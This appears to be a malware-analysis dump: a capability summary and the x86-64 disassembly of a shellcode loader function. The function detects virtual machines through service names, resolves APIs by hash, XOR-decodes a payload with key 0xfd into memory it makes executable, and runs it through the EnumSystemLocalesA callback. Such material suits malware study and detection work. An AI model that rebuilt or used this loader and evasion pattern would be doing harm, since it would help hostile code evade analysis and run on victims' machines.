Function at 0x1400044f0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate services
Execute shellcode via indirect call
Execute shellcode via windows callback function
Terminate process

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
mov rbp, rsp
sub rsp, 0x40
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov r14, rax
test rax, rax
je 0x14000475f
and dword [rbp + 0x40], 0
mov ebx, 0x10000
and dword [rbp + 0x30], 0
mov edx, ebx
and dword [rbp + 0x38], 0
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edx, 0x30
mov rcx, r14
mov rsi, rax
lea rax, [rbp + 0x38]
mov qword [rsp + 0x38], rax
mov r9, rsi
lea rax, [rbp + 0x30]
mov qword [rsp + 0x30], rax
lea r8d, [rdx - 0x2d]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusA]
test eax, eax
je 0x14000475f
xor edi, edi
cmp dword [rbp + 0x30], edi
jbe 0x1400045f2
lea rbx, [rdi + rdi*2]
add rbx, rbx
lea rdx, str.VMware_Tools
mov rcx, qword [rsi + rbx*8 + 8]
call fcn.14000784c
test rax, rax
jne 0x14000475f
mov rcx, qword [rsi + rbx*8 + 8]
lea rdx, str.VMware
call fcn.14000784c
test rax, rax
jne 0x14000475f
mov rcx, qword [rsi + rbx*8 + 8]
lea rdx, str.Virtual_Machine
call fcn.14000784c
test rax, rax
jne 0x14000475f
mov rcx, qword [rsi + rbx*8 + 8]
lea rdx, str.VirtualBox_Guest
call fcn.14000784c
test rax, rax
jne 0x14000475f
inc edi
cmp edi, dword [rbp + 0x30]
jb 0x14000457c
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, [0x1400c6b80]
call fcn.140004790
call fcn.14000424c
mov ecx, 0x1ede5967
call fcn.140004150
mov ecx, 0xef64a41e
mov rsi, rax
call fcn.140004150
mov r14, rax
call fcn.140003d4c
and qword [rbp + 0x30], 0
lea r9, [rbp + 0x30]
and qword [rbp + 0x38], 0
lea r8, [rbp + 0x38]
call fcn.140003bac
test eax, eax
je 0x14000475f
mov rdx, qword [rbp + 0x30]
mov r9d, 4
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, qword [rbp + 0x30]
mov rcx, rax
mov rdx, qword [rbp + 0x38]
mov rbx, rax
call fcn.140007b40
mov edi, 0x6e0d1
mov r9d, 4
mov edx, edi
mov r8d, 0x1000
xor ecx, ecx
call rsi
mov rcx, rbx
mov qword [0x1400c6ba8], rax
mov rsi, rax
mov dword [0x1400c6b8c], edi
call fcn.140004058
lea r8d, [rdi + 0xf]
mov rdx, rbx
mov rcx, rsi
call fcn.140007b40
and dword [rbp + 0x48], 0
lea r9, [rbp + 0x48]
mov r8d, 0x40
mov edx, edi
mov rcx, rsi
call r14
mov rax, rsi
xor byte [rax], 0xfd
inc rax
sub rdi, 1
jne 0x1400046cc
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x1400046fd
call fcn.140003e8c
mov r14d, 0x2710
mov rcx, r14
call fcn.14000dac0
mov rdi, rax
xor ebx, ebx
mov rsi, rax
mov r8d, ebx
mov byte [rsi], 0
xor edx, edx
lea rcx, str._d__d_n
call fcn.1400010a8
inc ebx
inc rsi
cmp ebx, r14d
jl 0x140004713
xor ebx, ebx
mov rsi, rdi
movsx edx, byte [rsi]
lea rcx, str._d__d_n
mov r8d, ebx
call fcn.1400010a8
inc ebx
inc rsi
cmp ebx, 0x12c
jl 0x140004736
mov rcx, rdi
call fcn.14000d0d8
jmp 0x140004703
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]